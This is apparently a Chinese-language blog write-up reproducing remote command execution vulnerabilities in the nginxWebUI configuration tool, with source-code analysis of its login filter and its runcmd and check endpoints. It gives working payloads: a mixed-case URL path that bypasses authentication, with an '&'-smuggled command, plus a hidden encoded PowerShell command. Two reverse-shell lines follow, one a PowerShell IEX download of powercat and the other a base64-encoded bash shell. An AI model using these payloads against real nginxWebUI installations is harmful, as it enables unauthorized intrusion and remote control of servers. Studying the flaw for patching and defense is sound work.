nginxWebUI后台提供执行nginx相关命令的接口,由于权限校验不严谨,未严格对用户的输入过滤,导致3.4.7版本之前可远程执行任意命令。本着学习的态度进一步了解该工具存在的漏洞并进行复现与分析。
nginxWebUI是一款图形化管理nginx配置工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发, tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 也可管理多个nginx服务器集群, 随时一键切换到对应服务器上进行nginx配置, 也可以一键将某台服务器配置同步到其他服务器, 方便集群管理。
<=3.4.7版本,存在未授权命令执行
3.5.2 < =nginxWebUI <= 4.1.1,存在后台命令执行
源码直接下载,导入idea后启动即可。
先看下过滤器源码,了解系统的认证控制部分。进入Appfilter中可以看到,认证控制使用了Solon 框架。
查看path传入方式源码,传入的path没有做验证,Solon框架2.2.14之前路由器对 url 的匹配默认是 “忽略大小写” com.cym.NginxWebUI#main如下:
继续往下看可以看到doFilter方法,用于全局过滤。可以看到其中的登录过滤器,这里的验证逻辑是:如果请求路径中包含"/adminPage/"而不存在"/lib/"、"/doc/"、"/js/"、"/img/"或者"/css/",则会调用adminInterceptor()函数进行权限验证。可以了解到Solon 路由器对 url 的匹配默认是 “忽略大小写” 的,那么就可以通过大小写混淆的方式去绕过鉴权,从而实现未授权访问。
在漏洞公告提示runcmd方法存在命令执行,直接在源码里搜索runcmd查看源码(com.cym.controller.adminPage.ConfController#runcmd):
可以看到cmd参数是可以任意传入的,cmd传入的参数会先进行特殊字符的过滤,再检查cmd参数是否包含关键字符nginx,如果不包含,则将命令修改为 nginx restart
,判断无误后直接拼接到RuntimeUtil.exec()方法中执行。需要注意这里仅做了部分特殊字符过滤,过滤不完全,可以尝试使用其他的命令符去绕过。
漏洞验证:
综上所述可以得到最终payload:
/AdminPage/conf/runCmd?cmd=calc%26nginx //使用&绕过,uri中admin首字母大写page中P小写绕过
这个版本以后作者在过滤器部分进行了修复,并且升级了solon框架至2.2.14版本,这个版本中可以对uri传入进行大小写敏感判断(com.cym.NginxWebUI#main)。另外在过滤器中加入了字符串转换方法,对uri进行了统一的小写字母格式转换。至此无法绕过登录。但是runcmd部分没有做任何修复,所以还可以实现后台rce。
String path = ctx.path().toLowerCase();
漏洞验证:
系统中还存在其他位置存在rce,直接在搜索框搜索RuntimeUtil.exec查看还有哪里调用了命令执行函数,可以看到其中有很多点进去查看,发现在check方法下可以自定义传入的参数nginxexe:
跟进查看主要代码:
代码主要逻辑是读取一个名为 "mime.types"
的资源文件,并将其内容写入到临时文件中,然后构建一个命令用于测试 Nginx 配置的有效性,并执行该命令。nginxexe参数可控,可以直接尝试执行系统命令。
此处方法源码如下:
这里调用的是check接口方法
/**
* 检查页面上的配置
*
* @param nginxPath
* @param nginxExe
* @param nginxDir
* @param json
* @return
*/
@Mapping(value = "check")
public JsonResult check(String nginxPath, String nginxExe, String nginxDir, String json) {
if (nginxExe == null) {
nginxExe = settingService.get("nginxExe");
}
if (nginxDir == null) {
nginxDir = settingService.get("nginxDir");
}
JSONObject jsonObject = JSONUtil.parseObj(json);
String nginxContent = Base64.decodeStr(jsonObject.getStr("nginxContent"), CharsetUtil.CHARSET_UTF_8);
nginxContent = URLDecoder.decode(nginxContent, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~");
List<String> subContent = jsonObject.getJSONArray("subContent").toList(String.class);
for (int i = 0; i < subContent.size(); i++) {
String content = Base64.decodeStr(subContent.get(i), CharsetUtil.CHARSET_UTF_8);
content = URLDecoder.decode(content, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~");
subContent.set(i, content);
}
// 替换分解域名include路径中的目标conf.d为temp/conf.d
String confDir = ToolUtils.handlePath(new File(nginxPath).getParent()) + "/conf.d/";
String tempDir = homeConfig.home + "temp" + "/conf.d/";
List<String> subName = jsonObject.getJSONArray("subName").toList(String.class);
for (String sn : subName) {
nginxContent = nginxContent.replace("include " + confDir + sn, //
"include " + tempDir + sn);
}
FileUtil.del(homeConfig.home + "temp");
String fileTemp = homeConfig.home + "temp/nginx.conf";
confService.replace(fileTemp, nginxContent, subContent, subName, false, null);
String rs = null;
String cmd = null;
try {
ClassPathResource resource = new ClassPathResource("mime.types");
FileUtil.writeFromStream(resource.getStream(), homeConfig.home + "temp/mime.types");
cmd = nginxExe + " -t -c " + fileTemp;
if (StrUtil.isNotEmpty(nginxDir)) {
cmd += " -p " + nginxDir;
}
rs = RuntimeUtil.execForStr(cmd);
} catch (Exception e) {
logger.error(e.getMessage(), e);
rs = e.getMessage().replace("\n", "<br>");
}
cmd = "<span class='blue'>" + cmd + "</span>";
if (rs.contains("successful")) {
return renderSuccess(cmd + "<br>" + m.get("confStr.verifySuccess") + "<br>" + rs.replace("\n", "<br>"));
} else {
return renderSuccess(cmd + "<br>" + m.get("confStr.verifyFail") + "<br>" + rs.replace("\n", "<br>"));
}
}
继续跟进RuntimeUtil.execForStr()
跟进发现代码对传参进来的命令进行了分割,根据空格把命令分割开,以数组的方式传入。
通过最终调用ProcessBuilder.start方法执行命令,其中cmdarray[0]是要执行的命令,程序会对命令参数进行检查判断其中是否包含空字符,如果包含则抛出异常。cmdarray[1]会被作为命令执行的参数进行转换,所以执行系统命令经过处理以后会使原来的命令执行失效。
下来就是执行传入的cmds命令
综上找到对应的漏洞功能点,check方法对应检验文件:
抓包测试漏洞执行弹calc命令:
尝试执行ping命令:
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc aQBxxxxxxGMAbwA==
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c xxxx -p xxx -e cmd
在linux系统下测试漏洞,可以使用执行bash命令结合base64编码的形式反弹shell绕过命令分隔符判断。最终得到的 paylaod如下:
bash+-c+{echo,xxxxxxxxxxxxxxOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
后台rce漏洞验证:
4.1.1版本漏洞验证:
经过验证截至到最新版本(4.1.1)存在漏洞。
79 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!